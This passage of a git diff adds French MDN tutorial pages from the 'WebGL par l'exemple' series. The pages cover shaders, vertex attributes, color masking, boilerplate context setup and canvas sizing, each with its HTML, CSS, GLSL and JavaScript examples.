+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Une_pluie_de_rectangle","Apprendre/WebGL/Par_exemple/Introduction_aux_attributs_vertex")}}</p>
+
+<p class="summary">Dans cet article, on décrit un programme de manipulation de <em>shaders</em> qui dessine un carré de couleur.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cet exemple devrait fonctionner pour l'ensemble des navigateurs récents. Cependant, pour les versions anciennes ou mobiles, il peut y avoir des dysfonctionnements. Si le canevas reste blanc, vous pouvez vérifier le résultat avec l'exemple suivant qui dessine exactement la même chose. Assurez-vous de bien lire les explications et le code présent sur cette page avant de passer à la suivante.</p>
+</div>
+
+<p>{{EmbedLiveSample("Hello_World_en_GLSL",660,425)}}</p>
+
+<h3 id="Hello_World_en_GLSL"><em>Hello World</em> en GLSL</h3>
+
+<p>Voici un exemple de premier programme qu'on peut écrire pour manipuler des <em>shaders</em>.</p>
+
+<pre class="brush: html hidden">&lt;p&gt;Hello World! Hello GLSL!&lt;/p&gt;
+&lt;canvas&gt;Votre navigateur semble ne pas
+    supporter l'élément HTML5.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css hidden">body {
+  text-align : center;
+}
+canvas {
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+</pre>
+
+<pre class="brush: html">&lt;script type="x-shader/x-vertex" id="vertex-shader"&gt;
+#version 100
+void main() {
+  gl_Position = vec4(0.0, 0.0, 0.0, 1.0);
+  gl_PointSize = 64.0;
+}
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: html">&lt;script type="x-shader/x-fragment" id="fragment-shader"&gt;
+#version 100
+void main() {
+  gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0);
+}
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: js hidden">;(function(){
+</pre>
+
+<pre class="brush: js">"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+  program;
+function setupWebGL (evt) {
+  window.removeEventListener(evt.type, setupWebGL, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  var source = document.querySelector("#vertex-shader").innerHTML;
+  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+  gl.shaderSource(vertexShader,source);
+  gl.compileShader(vertexShader);
+  source = document.querySelector("#fragment-shader").innerHTML
+  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+  gl.shaderSource(fragmentShader,source);
+  gl.compileShader(fragmentShader);
+  program = gl.createProgram();
+  gl.attachShader(program, vertexShader);
+  gl.attachShader(program, fragmentShader);
+  gl.linkProgram(program);
+  gl.detachShader(program, vertexShader);
+  gl.detachShader(program, fragmentShader);
+  gl.deleteShader(vertexShader);
+  gl.deleteShader(fragmentShader);
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    var linkErrLog = gl.getProgramInfoLog(program);
+    cleanup();
+    document.querySelector("p").innerHTML =
+      "La liaison du programme a échoué."
+      + "Journal d'erreur : " + linkErrLog;
+    return;
+  }
+
+  initializeAttributes();
+
+  gl.useProgram(program);
+  gl.drawArrays(gl.POINTS, 0, 1);
+
+  cleanup();
+}
+
+var buffer;
+function initializeAttributes() {
+  gl.enableVertexAttribArray(0);
+  buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0, 0);
+}
+
+function cleanup() {
+gl.useProgram(null);
+if (buffer)
+  gl.deleteBuffer(buffer);
+if (program)
+  gl.deleteProgram(program);
+}
+</pre>
+
+<pre class="brush: js hidden">function getRenderingContext() {
+  var canvas = document.querySelector("canvas");
+  canvas.width = canvas.clientWidth;
+  canvas.height = canvas.clientHeight;
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    var paragraph = document.querySelector("p");
+    paragraph.innerHTML = "Échec de l'obtention du contexte"
+      + " WebGL. Votre navigateur ne supporte peut-être"
+      + " pas WebGL.";
+    return null;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  return gl;
+}
+</pre>
+
+<pre class="brush: js hidden">})();
+</pre>
+
+<p>Le code source de cet exemple est également disponible sur <a href="https://github.com/idofilin/webgl-by-example/tree/master/hello-glsl">GitHub</a>.</p>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Une_pluie_de_rectangle","Apprendre/WebGL/Par_exemple/Introduction_aux_attributs_vertex")}}</p>
diff --git a/files/fr/web/api/webgl_api/by_example/index.html b/files/fr/web/api/webgl_api/by_example/index.html
new file mode 100644
index 0000000000..b7741c417f
--- /dev/null
+++ b/files/fr/web/api/webgl_api/by_example/index.html
@@ -0,0 +1,72 @@
+---
+title: WebGL par l'exemple
+slug: Web/API/WebGL_API/By_example
+tags:
+  - Apprendre
+  - Débutant
+  - Graphisme
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example
+---
+<div>{{IncludeSubnav("/fr/docs/Apprendre")}}</div>
+
+<p>{{Next("Apprendre/WebGL/Par_exemple/Détecter_WebGL")}}</p>
+
+<div class="summary">
+<p id="webgl-by-example-summary"><em>WebGL par l'exemple</em> est une série d'articles illustrant les concepts et les possibilités offertes par WebGL. Chaque exemple est accompagné d'explications. Ces démonstrations sont triés par sujet et par niveau de difficulté. Les concepts abordés sont, entre autres, le contexte de rendu, la programmation avec les <em>shaders</em>, les textures, la géométrie et l'interaction avec les utilisateurs.</p>
+</div>
+
+<h2 id="Les_exemples_par_catégorie">Les exemples, par catégorie</h2>
+
+<p>Les exemples de cette section sont triés par ordre de difficulté croissante. Plutôt que de les présenter sous la forme d'une longue liste, ils sont également répartis selon différentes catégories. Un sujet peut être abordé dans plusieurs exemples afin de couvrir des notions simples, intermédiaires ou avancées.</p>
+
+<p>Plutôt que de manipuler des <em>shaders</em>, optimiser des géométrie et gérer la mémoire {{Glossary("GPU")}} dans le premier exemple, la progression se fera étape par étape afin que les exemples et les concepts puissent mieux être compris.</p>
+
+<p>Les exemples sont expliqués, avec des commentaires dans le code et des paragraphes dédiés. Nous vous invitons à lire l'ensemble des commentaires au fur et à mesure, notamment pour les exemples plus avancés où ce qui a été vu auparavant ne sera pas expliqué à nouveau.</p>
+
+<h3 id="Apprendre_à_connaître_le_contexte_de_rendu">Apprendre à connaître le contexte de rendu</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Apprendre/WebGL/Par_exemple/Détecter_WebGL">Détecter WebGL</a></dt>
+ <dd>Dans cet exemple, on montre comment détecter un contexte de rendu {{Glossary("WebGL")}} et l'afficher pour l'utilisateur.</dd>
+ <dt><a href="/fr/docs/Apprendre/WebGL/Par_exemple/Appliquer_des_couleurs">Appliquer des couleurs</a></dt>
+ <dd>Dans cet exemple, on illustre comment appliquer une couleur unie dans un contexte de rendu.</dd>
+ <dt><a href="/fr/docs/Apprendre/WebGL/Par_exemple/Appliquer_une_couleur_à_la_souris">Appliquer une couleur à la souris</a></dt>
+ <dd>Ici, on montre comment combiner des interactions utilisateurs avec des opérations graphiques (là, on appliquera une couleur aléatoire dans le contexte à chaque clic de l'utilisateur).</dd>
+ <dt><a href="/fr/docs/Apprendre/WebGL/Par_exemple/Créer_une_animation_colorée">Créer une animation colorée</a></dt>
+ <dd>Dans cet exemple, on crée une animation simple avec des couleurs en appliquant chaque seconde une couleur aléatoire dans le contexte de rendu WebGL.</dd>
+ <dt><a href="/fr/docs/Apprendre/WebGL/Par_exemple/Masque_de_couleur">Avoir un masque de couleur</a></dt>
+ <dd>Modifier des couleurs aléatoires avec des masques de couleur pour limiter l'intervalle de couleurs qu'on souhaite utiliser.</dd>
+ <dt><a href="/fr/docs/Apprendre/WebGL/Par_exemple/Appliquer_des_découpes_simples">Appliquer des découpes simples</a></dt>
+ <dd>Dans cet exemple, on dessine des rectangles et des carrés simples grâce à des opérations de découpage (<em>scissoring</em>).</dd>
+ <dt><a href="/fr/docs/Apprendre/WebGL/Par_exemple/Tailles_de_canvas_et_WebGL">La taille du canevas et WebGL</a></dt>
+ <dd>Dans cet exemple, on observe ce qui se produit quand on définit (ou pas) la taille de l'élément <code>canvas</code> associé.</dd>
+ <dt><a href="/fr/docs/Apprendre/WebGL/Par_exemple/Modèle_1">Modèle 1</a></dt>
+ <dd>Dans cet exemple, on évoque les fragments de code qui seront utilisés pour les exemples qui suivent (et dans lesquels ils seront cachés car identiques). On définiera également une fonction JavaScript utilitaire pour initialiser WebGL plus facilement.</dd>
+ <dt><a href="/fr/docs/Apprendre/WebGL/Par_exemple/Créer_une_animation_avec_découpe_et_applique">Créer une animation avec du découpage et de l'applique</a></dt>
+ <dd>Avec cet article, on illustre comment créer des animations grâce aux opérations de découpe et d'applique.</dd>
+ <dt><a href="/fr/docs/Apprendre/WebGL/Par_exemple/Une_pluie_de_rectangle">Une pluie de rectangle</a></dt>
+ <dd>On voit ici un jeu, simple, qui mélange les découpes, les animations et les interactions utilisateurs.</dd>
+</dl>
+
+<div>
+<h3 id="Les_bases_de_la_programmation_avec_les_shaders">Les bases de la programmation avec les <em>shaders</em></h3>
+
+<dl>
+ <dt><a href="/fr/docs/Apprendre/WebGL/Par_exemple/Hello_GLSL">Hello GLSL</a></dt>
+ <dd>Un programme de manipulation des shaders simple qui dessine un carré.</dd>
+ <dt><a href="/fr/docs/Apprendre/WebGL/Par_exemple/Introduction_aux_attributs_vertex">Introduction aux attributs de vertex</a></dt>
+ <dd>Ici, on combine la programmation des shaders et les interactions utilisateurs grâce aux attributs de vertex.</dd>
+ <dt><a href="/fr/docs/Apprendre/WebGL/Par_exemple/Générer_des_textures_avec_du_code">Générer des textures avec du code</a></dt>
+ <dd>Une démonstration simple sur l'utilisation des <em>shaders</em> et des textures procédurales.</dd>
+</dl>
+
+<h3 id="Divers_exemples_avancés">Divers exemples avancés</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Apprendre/WebGL/Par_exemple/Les_textures_vidéos">Les textures vidéos</a></dt>
+ <dd>Dans cet exemple, on voit comment utiliser des fichiers vidéos comme des textures.</dd>
+</dl>
+
+<p>{{Next("Apprendre/WebGL/Par_exemple/Détecter_WebGL")}}</p>
+</div>
diff --git a/files/fr/web/api/webgl_api/by_example/introduction_aux_attributs_vertex/index.html b/files/fr/web/api/webgl_api/by_example/introduction_aux_attributs_vertex/index.html
new file mode 100644
index 0000000000..612dbad79c
--- /dev/null
+++ b/files/fr/web/api/webgl_api/by_example/introduction_aux_attributs_vertex/index.html
@@ -0,0 +1,171 @@
+---
+title: Introduction aux attributs de vertex
+slug: Web/API/WebGL_API/By_example/Introduction_aux_attributs_vertex
+tags:
+  - Apprendre
+  - Débutant
+  - Exemple
+  - Graphisme
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example/Hello_vertex_attributes
+---
+<div>{{IncludeSubnav("/fr/Apprendre")}}</div>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Hello_GLSL","Apprendre/WebGL/Par_exemple/Générer_des_textures_avec_du_code")}}</p>
+
+<p class="summary">Avec cet exemple, on voit comment combiner la programmation des <em>shaders</em> et les interactions utilisateurs grâce aux attributs des <em>vertex</em>.</p>
+
+<p>{{EmbedLiveSample("Un_Hello_World_en_GLSL",660,425)}}</p>
+
+<h3 id="Un_Hello_World_en_GLSL">Un <em>Hello World</em> en GLSL</h3>
+
+<p>Voici comment envoyer des données saisies à un programme de manipulation des <em>shaders</em> en utilisant la mémoire GPU.</p>
+
+<pre class="brush: html hidden">&lt;p&gt;Voici le premier exemple où on manipule des attributs et où
+on envoie des données au GPU. Cliquez sur le canevas pour modifier
+la position horizontale du carré.&lt;/p&gt;
+&lt;canvas&gt;Il semblerait que votre navigateur ne supporte pas
+    l'élément HTML5 canvas.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css hidden">body {
+  text-align : center;
+}
+canvas {
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+</pre>
+
+<pre class="brush: html">&lt;script type="x-shader/x-vertex" id="vertex-shader"&gt;
+#version 100
+precision highp float;
+
+attribute float position;
+
+void main() {
+  gl_Position = vec4(position, 0.0, 0.0, 1.0);
+  gl_PointSize = 64.0;
+}
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: html">&lt;script type="x-shader/x-fragment" id="fragment-shader"&gt;
+#version 100
+precision mediump float;
+void main() {
+  gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0);
+}
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: js hidden">;(function(){
+</pre>
+
+<pre class="brush: js">"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+  program;
+function setupWebGL (evt) {
+  window.removeEventListener(evt.type, setupWebGL, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  var source = document.querySelector("#vertex-shader").innerHTML;
+  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+  gl.shaderSource(vertexShader,source);
+  gl.compileShader(vertexShader);
+  source = document.querySelector("#fragment-shader").innerHTML
+  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+  gl.shaderSource(fragmentShader,source);
+  gl.compileShader(fragmentShader);
+  program = gl.createProgram();
+  gl.attachShader(program, vertexShader);
+  gl.attachShader(program, fragmentShader);
+  gl.linkProgram(program);
+  gl.detachShader(program, vertexShader);
+  gl.detachShader(program, fragmentShader);
+  gl.deleteShader(vertexShader);
+  gl.deleteShader(fragmentShader);
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    var linkErrLog = gl.getProgramInfoLog(program);
+    cleanup();
+    document.querySelector("p").innerHTML =
+      "Shader program did not link successfully. "
+      + "Error log: " + linkErrLog;
+    return;
+  }
+
+  initializeAttributes();
+  gl.useProgram(program);
+  gl.drawArrays(gl.POINTS, 0, 1);
+
+  document.querySelector("canvas").addEventListener("click",
+    function (evt) {
+      var clickXrelativToCanvas =
+          evt.pageX - evt.target.offsetLeft;
+      var clickXinWebGLCoords =
+          2.0 * (clickXrelativToCanvas- gl.drawingBufferWidth/2)
+          / gl.drawingBufferWidth;
+      gl.bufferData(gl.ARRAY_BUFFER,
+        new Float32Array([clickXinWebGLCoords]), gl.STATIC_DRAW);
+      gl.drawArrays(gl.POINTS, 0, 1);
+    }, false);
+}
+
+var buffer;
+function initializeAttributes() {
+  gl.enableVertexAttribArray(0);
+  buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0]), gl.STATIC_DRAW);
+  gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0, 0);
+}
+
+window.addEventListener("beforeunload", cleanup, true);
+function cleanup() {
+  gl.useProgram(null);
+  if (buffer)
+    gl.deleteBuffer(buffer);
+  if (program)
+    gl.deleteProgram(program);
+}
+</pre>
+
+<pre class="brush: js hidden">function getRenderingContext() {
+  var canvas = document.querySelector("canvas");
+  canvas.width = canvas.clientWidth;
+  canvas.height = canvas.clientHeight;
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    var paragraph = document.querySelector("p");
+    paragraph.innerHTML = "Failed to get WebGL context."
+      + "Your browser or device may not support WebGL.";
+    return null;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  return gl;
+}
+</pre>
+
+<pre class="brush: js hidden">})();
+</pre>
+
+<p>Le code source de cet exemple est également disponible sur <a href="https://github.com/idofilin/webgl-by-example/tree/master/hello-vertex-attributes">GitHub</a>.</p>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Hello_GLSL","Apprendre/WebGL/Par_exemple/Générer_des_textures_avec_du_code")}}</p>
diff --git a/files/fr/web/api/webgl_api/by_example/les_textures_vidéos/index.html b/files/fr/web/api/webgl_api/by_example/les_textures_vidéos/index.html
new file mode 100644
index 0000000000..ab1ea5a388
--- /dev/null
+++ b/files/fr/web/api/webgl_api/by_example/les_textures_vidéos/index.html
@@ -0,0 +1,23 @@
+---
+title: Les textures vidéos
+slug: Web/API/WebGL_API/By_example/Les_textures_vidéos
+tags:
+  - Apprendre
+  - Avancé
+  - Exemple
+  - Graphisme
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example/Video_textures
+---
+<div>{{draft}}{{IncludeSubnav("/fr/Apprendre")}}</div>
+
+<p>{{Previous("Apprendre/WebGL/Par_exemple/Générer_des_textures_avec_du_code")}}</p>
+
+<p class="summary">Cet exemple illustre comment utiliser des fichiers vidéos comme textures.</p>
+
+<h3 id="Des_textures_à_partir_de_vidéos">Des textures à partir de vidéos</h3>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample8/index.html', 670, 510)}}</p>
+
+<p>{{Previous("Apprendre/WebGL/Par_exemple/Générer_des_textures_avec_du_code")}}</p>
diff --git a/files/fr/web/api/webgl_api/by_example/masque_de_couleur/index.html b/files/fr/web/api/webgl_api/by_example/masque_de_couleur/index.html
new file mode 100644
index 0000000000..ad5e0dd461
--- /dev/null
+++ b/files/fr/web/api/webgl_api/by_example/masque_de_couleur/index.html
@@ -0,0 +1,136 @@
+---
+title: Masque de couleur
+slug: Web/API/WebGL_API/By_example/Masque_de_couleur
+tags:
+  - Apprendre
+  - Débutant
+  - Exemple
+  - Graphisme
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example/Color_masking
+---
+<div>{{IncludeSubnav("/fr/Apprendre")}}</div>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Créer_une_animation_colorée","Apprendre/WebGL/Par_exemple/Appliquer_des_découpes_simples")}}</p>
+
+<div id="color-masking">
+<div class="summary">
+<p>Dans cet article, on modifie des couleurs aléatoires grâce à un masque de couleur. Cela permet de limiter la plage de couleurs affichées à certains tons.</p>
+</div>
+
+<p>{{EmbedLiveSample("color-masking-source",660,425)}}</p>
+
+<div id="color-masking-intro">
+<h3 id="Appliquer_un_masque_sur_des_couleurs_aléatoires">Appliquer un masque sur des couleurs aléatoires</h3>
+
+<p>Dans cet exemple, on modifie les couleurs aléatoires utilisées pour une animation grâce à l'opération {{domxref("WebGLRenderingContext.colorMask()","colorMask()")}}. D'une certaine façon, cette opération est analogue à la modification qu'on obtient lorsqu'on regarde à travers du verre teinté ou derrière une filtre coloré. Ainsi, en masquant les canaux vert et bleu, on ne pourra recevoir que les composantes rouges des pixels et cela donnera l'impression de regarder à travers du verre teinté de rouge.</p>
+
+<p>Les masques de couleur nous permettent d'illustrer quelques concepts de base <a href="https://en.wikipedia.org/wiki/Color_theory">de la théorie des couleurs</a>. En masquant certaines composantes, on rapproche les couleurs affichées de la couleur complémentaire. Ainsi, en masquant le bleu et le rouge, on obtiendrait des tons de vert. En masquant uniquement le canal bleu, on obtiendra des tons de jaune (dont orange, marron, olive, etc.) qui est la couleur complémentaire du bleu. De la même façon, en masquant uniquement le vert, on obtiendrait des tons magenta (pourpres, rouges, etc.) et en masquant uniquement le rouge, on obtiendrait des tons cyan.</p>
+
+<p>On voit que les appels à <code>colorMask()</code> sont uniquement déclenchés lorsque l'utilisateur clique sur l'un des boutons. En revanche, le rendu est fait chaque seconde grâce au timer. L'état du masque de couleur lié à {{Glossary("WebGL")}} est conservé et il n'est donc pas nécessaire d'appeler <code>colorMask()</code> à chaque frame pour régler le masque. Cela illustre la manière dont WebGL est un automate a état. Dans un premier temps, on initialise l'état de WebGL et ensuite, à chaque frame, on déclenche uniquement les opérations de dessin.</p>
+
+<p>Les masques de couleurs permettent d'avoir un contrôle précis pour mettre à jour les pixels à l'écran. En limitant les canaux de couleur qui sont utilisés à chaque commande de dessin, on peut utiliser chaque canal à bon escient et on peut par exemple stocler une image en ton de gris.</p>
+
+<p>Enfin, l'application d'un masque de couleur nous montre que {{Glossary("WebGL")}} n'est pas seulement un automate à états mais aussi un <em>processus</em> graphique. Cela signifie que les opérations graphiques liées à WebGL sont effectuées dans un ordre donné et que le résultat de chaque opération sert de point d'entrée pour l'opération suivante. Ainsi, l'opération d'applique définit la valeur pour chaque pixel. L'application du masque se produit plus tard dans le processus et modifie la couleur. Ainsi, le résultat final affiché à l'écran est teinté par la couleur du masque.</p>
+</div>
+
+<div id="color-masking-source">
+<pre class="brush: html">&lt;p&gt;Tinting the displayed colors with color masking.&lt;/p&gt;
+&lt;canvas&gt;Il semblerait que votre navigateur ne supporte pas
+    l'élément HTML5 canvas.&lt;/canvas&gt;
+&lt;button id="red-toggle"&gt;On&lt;/button&gt;
+&lt;button id="green-toggle"&gt;On&lt;/button&gt;
+&lt;button id="blue-toggle"&gt;On&lt;/button&gt;
+</pre>
+
+<pre class="brush: css">body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : inline-block;
+  font-family : serif;
+  font-size : inherit;
+  font-weight : 900;
+  color : white;
+  margin : auto;
+  padding : 0.6em 1.2em;
+}
+#red-toggle {
+  background-color : red;
+}
+#green-toggle {
+  background-color : green;
+}
+#blue-toggle {
+  background-color : blue;
+}
+</pre>
+
+<pre class="brush: js" id="livesample-js">window.addEventListener("load", function setupAnimation (evt) {
+  "use strict"
+  window.removeEventListener(evt.type, setupAnimation, false);
+
+  var canvas = document.querySelector("canvas");
+  var gl = canvas.getContext("webgl")
+      || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    document.querySelector("p").innerHTML =
+      "Échec lors de l'obtention du contexte WebGL."
+      + "Votre navigateur ou appareil ne supporte "
+      + "peut-être pas WebGL.";
+    return;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+
+  var timer = setInterval(drawAnimation, 1000);
+
+  var mask = [true, true, true];
+  var redtoggle = document.querySelector("#red-toggle"),
+    greentoggle = document.querySelector("#green-toggle"),
+    bluetoggle = document.querySelector("#blue-toggle");
+  redtoggle.addEventListener("click", setColorMask, false);
+  greentoggle.addEventListener("click", setColorMask, false);
+  bluetoggle.addEventListener("click", setColorMask, false);
+
+  function setColorMask(evt) {
+    var index =
+      evt.target === greentoggle &amp;&amp; 1
+      || evt.target === bluetoggle &amp;&amp; 2
+      || 0;
+    mask[index] = !mask[index];
+    if (mask[index] === true)
+      evt.target.innerHTML="On";
+    else
+      evt.target.innerHTML="Off";
+    gl.colorMask(mask[0], mask[1], mask[2], true);
+    drawAnimation();
+  };
+
+  function drawAnimation () {
+    var color = getRandomColor();
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  }
+
+  function getRandomColor() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+}, false);
+</pre>
+
+<p>Le code source de cet exemple est également disponible sur <a href="https://github.com/idofilin/webgl-by-example/tree/master/color-masking">GitHub</a>.</p>
+</div>
+</div>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Créer_une_animation_colorée","Apprendre/WebGL/Par_exemple/Appliquer_des_découpes_simples")}}</p>
diff --git a/files/fr/web/api/webgl_api/by_example/modèle_1/index.html b/files/fr/web/api/webgl_api/by_example/modèle_1/index.html
new file mode 100644
index 0000000000..a055a358c8
--- /dev/null
+++ b/files/fr/web/api/webgl_api/by_example/modèle_1/index.html
@@ -0,0 +1,97 @@
+---
+title: Modèle 1
+slug: Web/API/WebGL_API/By_example/Modèle_1
+tags:
+  - Apprendre
+  - Débutant
+  - Exemple
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example/Boilerplate_1
+---
+<div>{{IncludeSubnav("/fr/Apprendre")}}</div>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Tailles_de_canvas_et_WebGL","Apprendre/WebGL/Par_exemple/Créer_une_animation_avec_découpe_et_applique")}}</p>
+
+<p class="summary">Dans cet article, on décrit les fragments de code qui seront réutilisés pour les exemples suivants (où ils seront masqués pour une meilleur lisibilité). Parmi ce code, on définit une fonction JavaScript utilitaire qui permet de simplifier l'initialisation de WebGL.</p>
+
+<p>{{EmbedLiveSample("Socle_pour_l'initialisation_du_contexte_WebGL",660,400)}}</p>
+
+<h2 id="Socle_pour_l'initialisation_du_contexte_WebGL">Socle pour l'initialisation du contexte WebGL</h2>
+
+<p>Nous avons vu plusieurs fois les mêmes morceaux de {{Glossary("HTML")}}, {{Glossary("CSS")}} et {{Glossary("JavaScript")}}. Nous allons donc les cacher par la suite afin de mieux nous concentrer sur les parties du code qui sont pertinentes pour l'apprentissage de {{Glossary("WebGL")}}.</p>
+
+<p>Plus précisément, le code HTML contiendra</p>
+
+<ul>
+ <li>Un élément {{HTMLElement("p")}} qui décrira l'exemple et qui permettra d'afficher des messages d'erreur</li>
+ <li>Un élément {{HTMLElement("canvas")}}</li>
+ <li>Un bouton (élément {{HTMLElement("button")}})</li>
+</ul>
+
+<p>Les règles CSS s'appliqueront aux éléments <code>body</code>, <code>canvas</code> et <code>button</code>. Les éléments supplémentaires pour le code CSS et HTML seront détaillés dans les pages des exemples concernés.</p>
+
+<p>Dans les exemples suivants, on utilisera la fonction utilitaire JavaScript <code>getRenderingContext</code> pour initialiser {{domxref("WebGLRenderingContext","le contexte de rendu WebGL", "", 1)}}. Grâce aux exemples précédents, vous devriez pouvoir comprendre le rôle de cette fonction. Pour résumer, celle-ci</p>
+
+<ul>
+ <li>Obtient le contexte de rendu de la part de l'élément <code>canvas</code></li>
+ <li>Initialise le buffer de dessin</li>
+ <li>Nettoie le buffer avec <code>clear</code></li>
+ <li>Applique le contexte initialisé</li>
+</ul>
+
+<p>S'il y a une erreur, la fonction affiche un message d'erreur et renvoie <code>null</code>.</p>
+
+<p>Enfin, tout le code JavaScript est exécuté par une fonction immédiatement appelée (une technique plutôt commune avec JavaScript). La déclaration de la fonction et son invocation seront cachées.</p>
+
+<pre class="brush: html">&lt;p&gt;[ Un texte qui décrit l'exemple. ]&lt;/p&gt;
+&lt;button&gt;[ Un bouton optionnel pour les interactions. ]&lt;/button&gt;
+&lt;canvas&gt;Il semblerait que votre navigateur ne supporte
+    pas le canevas HTML5.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css">body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+</pre>
+
+<pre class="brush: js">function getRenderingContext() {
+  var canvas = document.querySelector("canvas");
+  canvas.width = canvas.clientWidth;
+  canvas.height = canvas.clientHeight;
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    var paragraph = document.querySelector("p");
+    paragraph.innerHTML = "Échec de l'obtention du "
+      + "contexte WebGL."
+      + "Votre navigateur ou appareil ne supporte "
+      + "peut-être pas WebGL.";
+    return null;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  return gl;
+}
+</pre>
+
+<p>Le code source de cet exemple est également disponible sur <a href="https://github.com/idofilin/webgl-by-example/tree/master/boilerplate-1">GitHub</a>.</p>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Tailles_de_canvas_et_WebGL","Apprendre/WebGL/Par_exemple/Créer_une_animation_avec_découpe_et_applique")}}</p>
diff --git a/files/fr/web/api/webgl_api/by_example/tailles_de_canvas_et_webgl/index.html b/files/fr/web/api/webgl_api/by_example/tailles_de_canvas_et_webgl/index.html
new file mode 100644
index 0000000000..086e0394a7
--- /dev/null
+++ b/files/fr/web/api/webgl_api/by_example/tailles_de_canvas_et_webgl/index.html
@@ -0,0 +1,82 @@
+---
+title: Tailles de canvas et WebGL
+slug: Web/API/WebGL_API/By_example/Tailles_de_canvas_et_WebGL
+tags:
+  - Apprendre
+  - Débutant
+  - Exemple
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example/Canvas_size_and_WebGL
+---
+<div>{{IncludeSubnav("/fr/Apprendre")}}</div>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_des_découpes_simples","Apprendre/WebGL/Par_exemple/Modèle_1")}}</p>
+
+<p>{{EmbedLiveSample("Les_effets_liés_à_la_taille_du_canevas_sur_le_rendu_avec_WebGL",660,180)}}</p>
+
+<p class="summary">Dans cet exemple, on observe l'effet obtenu quand on définit (ou non) la taille du canevas HTML avec sa taille {{Glossary("CSS")}} (exprimée en pixels CSS), tel qu'il apparaît dans la fenêtre du navigateur.</p>
+
+<h3 id="Les_effets_liés_à_la_taille_du_canevas_sur_le_rendu_avec_WebGL">Les effets liés à la taille du canevas sur le rendu avec WebGL</h3>
+
+<p>Grâce aux méthodes {{domxref("WebGLRenderingContext.scissor()","scissor()")}} et {{domxref("WebGLRenderingContext.clear()","clear()")}} on peut démontrer que le tampon (<em>buffer</em>) de dessin WebGL est affecté par la taille du canevas (l'élément HTML <code>canvas</code>).</p>
+
